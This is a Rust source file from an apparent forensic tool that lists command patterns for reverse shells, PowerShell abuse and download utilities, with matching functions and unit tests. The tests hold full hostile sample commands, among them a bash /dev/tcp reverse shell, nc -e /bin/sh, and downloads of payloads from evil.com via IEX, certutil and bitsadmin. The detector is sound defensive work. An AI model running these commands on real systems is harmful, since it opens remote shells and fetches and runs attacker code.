forensic_catalog/
commands.rs1pub const REVERSE_SHELL_PATTERNS: &[&str] = &[
12 "bash -i",
13 "sh -i",
14 "pty.spawn",
15 "nc -e",
16 "nc -c",
17 "ncat -e",
18 "/bin/sh -i",
19 "python -c",
20 "perl -e",
21 "ruby -e",
22 "lua -e",
23 "php -r",
24 "socat exec",
25 "openssl s_client",
26];
27
28pub const POWERSHELL_ABUSE_PATTERNS: &[&str] = &[
46 "IEX",
47 "Invoke-Expression",
48 "DownloadString",
49 "WebClient",
50 "Net.WebRequest",
51 "-EncodedCommand",
52 "-enc ",
53 "-ep bypass",
54 "-ExecutionPolicy Bypass",
55 "FromBase64String",
56 "Invoke-Mimikatz",
57 "Invoke-Shellcode",
58];
59
60pub const DOWNLOAD_TOOL_PATTERNS: &[&str] = &[
76 "certutil -urlcache",
77 "certutil -decode",
78 "bitsadmin /transfer",
79 "wget ",
80 "curl ",
81 "Invoke-WebRequest",
82 "Start-BitsTransfer",
83 "mshta http",
84 "regsvr32 /s /n /u /i:http",
85];
86
87pub fn is_reverse_shell_pattern(cmd: &str) -> bool {
89 let lower = cmd.to_ascii_lowercase();
90 REVERSE_SHELL_PATTERNS
91 .iter()
92 .any(|p| lower.contains(&p.to_ascii_lowercase()))
93}
94
95pub fn is_powershell_abuse(cmd: &str) -> bool {
97 let lower = cmd.to_ascii_lowercase();
98 POWERSHELL_ABUSE_PATTERNS
99 .iter()
100 .any(|p| lower.contains(&p.to_ascii_lowercase()))
101}
102
103pub fn is_download_tool_usage(cmd: &str) -> bool {
105 let lower = cmd.to_ascii_lowercase();
106 DOWNLOAD_TOOL_PATTERNS
107 .iter()
108 .any(|p| lower.contains(&p.to_ascii_lowercase()))
109}
110
111#[cfg(test)]
112mod tests {
113 use super::*;
114
115 #[test]
116 fn reverse_shell_patterns_contains_bash_i() {
117 assert!(REVERSE_SHELL_PATTERNS.contains(&"bash -i"));
118 }
119
120 #[test]
121 fn reverse_shell_patterns_contains_nc_e() {
122 assert!(REVERSE_SHELL_PATTERNS.contains(&"nc -e"));
123 }
124
125 #[test]
126 fn powershell_abuse_contains_iex() {
127 assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"IEX"));
128 }
129
130 #[test]
131 fn powershell_abuse_contains_encoded_command() {
132 assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"-EncodedCommand"));
133 }
134
135 #[test]
136 fn download_tool_contains_certutil_urlcache() {
137 assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"certutil -urlcache"));
138 }
139
140 #[test]
141 fn download_tool_contains_wget() {
142 assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"wget "));
143 }
144
145 #[test]
146 fn detects_bash_i_reverse_shell() {
147 assert!(is_reverse_shell_pattern(
148 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
149 ));
150 }
151
152 #[test]
153 fn detects_nc_e_reverse_shell() {
154 assert!(is_reverse_shell_pattern("nc -e /bin/sh 10.0.0.1 4444"));
155 }
156
157 #[test]
158 fn detects_python_c_pty_spawn() {
159 assert!(is_reverse_shell_pattern(
160 "python -c 'import pty; pty.spawn(\"/bin/sh\")'"
161 ));
162 }
163
164 #[test]
165 fn detects_case_insensitive_nc_e() {
166 assert!(is_reverse_shell_pattern("NC -E /bin/sh attacker 4444"));
167 }
168
169 #[test]
170 fn does_not_flag_benign_command() {
171 assert!(!is_reverse_shell_pattern("ls -la /tmp"));
172 }
173
174 #[test]
175 fn empty_string_not_reverse_shell() {
176 assert!(!is_reverse_shell_pattern(""));
177 }
178
179 #[test]
180 fn detects_iex_downloadstring() {
181 assert!(is_powershell_abuse(
182 "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
183 ));
184 }
185
186 #[test]
187 fn detects_encoded_command_flag() {
188 assert!(is_powershell_abuse("powershell.exe -EncodedCommand AAAA"));
189 }
190
191 #[test]
192 fn detects_ep_bypass() {
193 assert!(is_powershell_abuse(
194 "powershell -ep bypass -File stager.ps1"
195 ));
196 }
197
198 #[test]
199 fn does_not_flag_benign_powershell() {
200 assert!(!is_powershell_abuse("Get-Process"));
201 }
202
203 #[test]
204 fn empty_string_not_powershell_abuse() {
205 assert!(!is_powershell_abuse(""));
206 }
207
208 #[test]
209 fn detects_certutil_urlcache() {
210 assert!(is_download_tool_usage(
211 "certutil -urlcache -f http://evil.com/payload.exe payload.exe"
212 ));
213 }
214
215 #[test]
216 fn detects_bitsadmin_transfer() {
217 assert!(is_download_tool_usage(
218 "bitsadmin /transfer job http://evil.com/x.exe C:\\x.exe"
219 ));
220 }
221
222 #[test]
223 fn detects_wget_uppercase() {
224 assert!(is_download_tool_usage("WGET http://evil.com/malware"));
225 }
226
227 #[test]
228 fn does_not_flag_dir_command() {
229 assert!(!is_download_tool_usage("dir C:\\Windows\\System32"));
230 }
231
232 #[test]
233 fn empty_string_not_download_tool() {
234 assert!(!is_download_tool_usage(""));
235 }
236}